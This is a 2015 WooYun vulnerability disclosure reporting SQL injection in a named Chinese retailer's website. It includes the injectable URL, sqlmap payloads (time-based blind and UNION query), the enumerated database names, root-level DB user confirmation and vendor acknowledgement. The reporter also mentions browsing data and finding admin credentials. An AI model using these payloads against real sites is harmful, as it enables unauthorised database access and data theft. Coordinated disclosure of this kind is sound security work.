当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126146

漏洞标题:良品铺子某处SQL注入(4库 root权限)

相关厂商:良品铺子

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-07-13 10:25

修复时间:2015-08-27 18:00

公开时间:2015-08-27 18:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-13: 细节已通知厂商并且等待厂商处理中
2015-07-13: 厂商已经确认,细节仅向厂商公开
2015-07-23: 细节向核心白帽子及相关领域专家公开
2015-08-02: 细节向普通白帽子公开
2015-08-12: 细节向实习白帽子公开
2015-08-27: 细节向公众公开

简要描述:

天地本不仁 万物为刍狗
【HD】 以团队之名 以个人之荣耀 共建网络安全

详细说明:

注入点:http://www.517lppz.com/position2.php?id=-1
参数 id 可注入

0.png


URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection points with a total of 103 HTTP(s) req
uests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.517lppz.com:80/position2.php?id=-1 OR 3 AND (SELECT * FR
OM (SELECT(SLEEP(5)))ZJFR)-- XMBf21=6 AND 000649=000649 --
Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: http://www.517lppz.com:80/position2.php?id=-1 OR 3 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x4f7842586e75516d774d,0
x71626b7071),NULL,NULL,NULL,NULL,NULL,NULL-- 21=6 AND 000649=000649 --
---
[15:34:32] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL 5.0.12
[15:34:32] [INFO] fetching database names
available databases [4]:
[*] bestore
[*] information_schema
[*] mysql
[*] test
[15:34:32] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.517lppz.com'
[*] shutting down at 15:34:32


看了下权限

1.png


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.517lppz.com:80/position2.php?id=-1 OR 3 AND (SELECT * FR
OM (SELECT(SLEEP(5)))ZJFR)-- XMBf21=6 AND 000649=000649 --
Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: http://www.517lppz.com:80/position2.php?id=-1 OR 3 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x4f7842586e75516d774d,0
x71626b7071),NULL,NULL,NULL,NULL,NULL,NULL-- 21=6 AND 000649=000649 --
---
[15:46:26] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL 5.0.12
[15:46:26] [INFO] fetching current user
current user: 'root@localhost'
[15:46:27] [INFO] fetching current database
current database: 'bestore'
[15:46:27] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.517lppz.com'
[*] shutting down at 15:46:27


顺便看了下 数据(找到了管理员的账号和密码 可惜没找到登陆地址)

2.png


3.png


漏洞证明:

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-07-13 17:58

厂商回复:

漏洞属实,,感谢关注!!

最新状态:

暂无


漏洞评价:

评论